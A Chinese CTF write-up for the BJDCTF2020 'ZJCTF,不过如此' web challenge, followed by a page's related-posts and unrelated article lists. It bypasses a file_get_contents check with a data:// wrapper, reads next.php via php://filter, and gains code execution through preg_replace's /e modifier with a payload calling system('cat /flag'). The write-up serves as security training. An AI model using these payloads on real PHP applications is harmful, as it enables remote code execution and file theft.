打开环境,直接给了源码:

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

分析代码,GET方式传入两个参数text和file。

text参数用file_get_contents函数读取变量,判断其是否等于"I have a dream",此处看到file_get_contents函数,就应该想到用伪协议绕过,此处可以用data伪协议构造:

?text=data://text/plain,I have a dream

,显示I have a dream,说明绕过成功。

file参数用了一个preg_match进行匹配,如果匹配到flag,就显示Not now!,过滤了flag关键字。然后看到提示有个next.php要包含,就又想到用php伪协议读取next.php的源码,构造

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到字符串:PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解密得源码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

前面得GET传参id没什么用,接着看compex函数,返回中用了preg_replace函数,首先来详细介绍一下这个函数:

preg_replace函数执行一个正则表达式的搜索和替换。

语法:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

$count: 可选,为替换执行的次数。

简化后就只有前面三个参数。

返回值

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

修饰符:

$pattern参数可以有修饰符,修饰符可以改变正则的很多特性,使得正则表达式更加适合你的需要(注意:修饰符对于大小写是敏感的,这意味着"e"并不等于"E")。正则表达式里面的修饰符如下:
i :如果在修饰符中加上"i",则正则将会取消大小写敏感性,即"a"和"A" 是一样的。
m:默认的正则开始"^"和结束"$"只是对于正则字符串如果在修饰符中加上"m",那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。
s:如果在修饰符中加入"s",那么默认的"."代表除了换行符以外的任何字符将会变成任意字符,也就是包括换行符!
x:如果加上该修饰符,表达式中的空白字符将会被忽略,除非它已经被转义。
e:本修饰符仅仅对于replacement有用,代表在replacement中作为PHP代码。
A:如果使用这个修饰符,那么表达式必须是匹配的字符串中的开头部分。比如说"/a/A"匹配"abcd"。
E:与"m"相反,如果使用这个修饰符,那么"$"将匹配绝对字符串的结尾,而不是换行符前面,默认就打开了这个模式。
U:和问号的作用差不多,用于设置"贪婪模式"。

本题/e和/i这个两个修饰符,功能如上,preg_replace函数 使用了 /e 模式,将其当作php代码执行,导致可以代码执行漏洞,而且该函数的第一个和第三个参数都是我们可以控制的。然而这里的第二个参数却固定为 'strtolower("\\1")' 字符串,strtolower() 函数把字符串转换为小写。当中的 \\1 实际上就是 \1 ,这是个反向引用,对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。就实际上指定的是第一个子匹配项(第一个括号中的匹配结果),比如前面用括号捕获了一个子匹配,斜杠数字就表示和子匹配一样的内容,第一个子匹配就是\1,第二就是\2。

第一个参数'/(' . $re . ')/ei' 中的$re是下面调用compex产生的,foreach是用来数组遍历的,意思是$re的值为$str,即假设用GET方法传一个index.php?hello=world那么$re=hello,$str=world;即通过调用getFlag()函数就能传入$re,也就能决定匹配的模式,就可以构造:next.php?(\S*)=${getFlag()}&cmd=system('cat /flag');       其中\S代表匹配非空白字符,(这里为什么用的是\S而不是用的(.*),因为php里会把参数名里的特殊字符转为下划线“_”),*表示匹配一个或零个,${getFlag()}是调用getFlag()函数,之所以用{}括起来,因为要避免歧义,除了$$a这样子,还可以${$a}这样子。最后用system函数执行命令。最后相当于:

echo preg_replace('/(\S*)/ei','strtolower("\\1")',getFlag('cmd')); →echo @eval(system('cat /flag');)

[BJDCTF2020]ZJCTF,不过如此相关推荐

  1. BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此

    BUUCTF WEB [BJDCTF2020]ZJCTF,不过如此 进入环境后得到源码 <?phperror_reporting(0); $text = $_GET["text&quo ...

  2. 攻防世界 favorite_number mfw、[BJDCTF2020]ZJCTF,不过如此

    favorite_number 进入环境得到源码 <?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', ...

  3. ctf php正则截断,记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题

    题目一上来就直接放出一段代码,那么话不多说,直接进行代码设计. error_reporting(0); $text = $_GET["text"]; $file = $_GET[& ...

  4. BUU WEB刷题记录1(持续更新)

    [MRCTF2020]你传你马呢 打开得到一张晦气的图片和文件上传点 尝试直接上传PHP文件失败(意料之中),随便上传了一张png图片,发现可以,将png文件内容改写成一句话木马<?php @e ...

  5. buuctf-[BJDCTF2020]ZJCTF,不过如此

    [BJDCTF2020]ZJCTF,不过如此 考点 复现 参考 考点 preg_replace /e 参数执行漏洞.php伪协议.转义绕过 复现 点开链接 <?phperror_reportin ...

  6. Web安全学习Week12

    上班 1.[护网杯 2018]easy_tornado 考点: MD5加密 ssti注入 开局三个超链接 点进去看 提示了render加上标题easy_tornado想到ssti注入 render() ...

  7. BUUCTF解题十一道(04)

    文章目录 [GWCTF 2019]我有一个数据库 [BJDCTF2020]ZJCTF,不过如此 [BJDCTF2020]The mystery of ip [BJDCTF2020]Mark loves ...

  8. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  9. ctf_BUUCTF_web(1)

    文章目录 BUUCTF_web SQL注入 1. [极客大挑战 2019]EasySQL 2. [SUCTF 2019]EasySQL 3.[强网杯 2019]随便注 4.[极客大挑战 2019]Ba ...

最新文章

  1. 智源论坛报名 | 智能体系架构与芯片
  2. maven和gradle中,dependency和plugin的区别
  3. python判断英文
  4. Wowza® Media Systems 使用配置手册。
  5. pdf 中的java运行,java - 从pdf文件读取特定位置的itext在intellij中运行,并提供所需的输出,但是可执行jar抛出错误 - 堆栈内存溢出...
  6. Android开发三 如何安装 Android SDK 和Eclipse 插件
  7. 青海西宁市大通县非洲猪瘟疫区解除封锁
  8. Java定时器quartz停止
  9. iosTableView 局部全部刷新以及删除编辑操作
  10. cornerstone图标含义
  11. 阳明大神---容器时代
  12. Spark/Flink/CarbonData技术实践最佳案例解析
  13. BAT文件执行输出中文乱码
  14. 直接使用Jlink仿真器下载程序至Freescale K60系列 MCU
  15. 安装texlive时出现No such file or directory问题
  16. CCNA+NP学习笔记—交换网络篇
  17. 太损了!如何禁止小孩玩电脑?
  18. 经典代码-request请求获取参数(post和get两种方式)
  19. javac java编译-g
  20. 楼宇能效控制器真的有用吗

热门文章

  1. 解决scipy>1.3版本中没有imresize的问题
  2. 4、弱电工程FTTH网络的分光建设及分光比设计
  3. [完结]saliency filters精读之permutohedral lattice
  4. python 查找函数所在模块和文件位置_查看python的模块和函数帮助文档方法
  5. NOR flash 坏块处理方法
  6. networkx_to_metis
  7. [数学建模(四)]MATLAB神经网络工具箱的简单应用
  8. Map 和ConcurrentMap 线程不安全和线程安全证明
  9. 儿童护眼灯有必要买吗?推荐教育部入围护眼照明品牌
  10. MAC地址分类-----单播,组播,广播的特征